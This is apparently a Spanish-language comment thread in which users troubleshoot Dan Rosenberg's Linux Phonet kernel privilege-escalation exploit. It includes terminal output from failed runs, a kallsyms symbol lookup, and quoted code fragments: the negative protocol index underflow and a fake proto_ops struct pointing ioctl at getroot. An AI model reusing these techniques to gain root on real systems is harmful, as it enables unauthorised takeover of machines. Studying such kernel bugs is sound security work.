bash-4.1# setcap cap_sys_admin+ep exploit
bash-4.1# exit
exit
bash-4.1$ ./exploit
[*] Testing Phonet support and CAP_SYS_ADMIN...
[*] Resolving kernel symbols...
[*] Failed to resolve kernel symbols.
No me funciono, no encontro CAP_SYS_ADMIN
Capaz q ya lo solucionaste, pero no te funcionaba porq no tenes el kernel compilado para debug, con todos los simbolos. Te podes fijar a mano si tenes al menos el primer simbolo definido:
cat /proc/kallsyms | grep proto_tab
Hola!!!
Estaba probando este exploit y a mi no me ha funcionado:
[*] Testing Phonet support and CAP_SYS_ADMIN...
[*] Resolving kernel symbols...
[+] Resolved proto_tab to 0xf8133fa8
[+] Resolved pn_proto to 0xf8133e00
[+] Resolved pn_proto to 0xf8133e00
[+] Resolved commit_creds to 0xc016eb60
[+] Resolved prepare_kernel_cred to 0xc016efc0
[*] Preparing fake structures...
[*] Copying Structures.
[*] Underflowing with offset -70
[*] Underflow failed :-(.
He estado intentando entender cómo funciona y qué es lo que hace y no me queda del todo claro.
Entiendo que te copias en memoria una serie de estructuras con las funciones mmap y memcpy. Pero a partir de aqui ya me pierdo
proto = -((proto_tab - low_kern_sym) / sizeof(void *));
printf("[*] Underflowing with offset %d\n", proto);
sock = socket(PF_PHONET, SOCK_DGRAM, proto);
if(sock < 0) {
printf("[*] Underflow failed :-(.\n");
return -1;
}
De hecho a mi lo que me falla es la creación del socket, ¿por qué se le pasa como protocolo (proto) un -70 (proto = -((proto_tab - low_kern_sym) / sizeof(void *)) al socket?
Gracias de antemano
Te falla porq capaz q no es vulnerable el driver. El error lo explica maso por arriba Dan Rosenberg en su exploit:
/* This exploit leverages a signedness error in the Phonet protocol. By
* specifying a negative protocol index, I can craft a series of fake
* structures in userspace and cause the incrementing of an arbitrary kernel
* address, which I then leverage to execute arbitrary kernel code.
*/
Eso, el error esta en el driver del protocolo de red phonet. Parece ser que cuando se le pasa un valor negativo a socket() se pueden sobreescribir ciertas estructuras en el driver. Entre ellas, la q define el manejador de las ioctl.
const struct proto_ops_skel fake_proto_ops2 = {
.family = AF_PHONET,
.ioctl = &getroot,
};
Igual Rosenberg la pinta como q es mucho mas complicado, asi q calculo que el error debe tener su historia.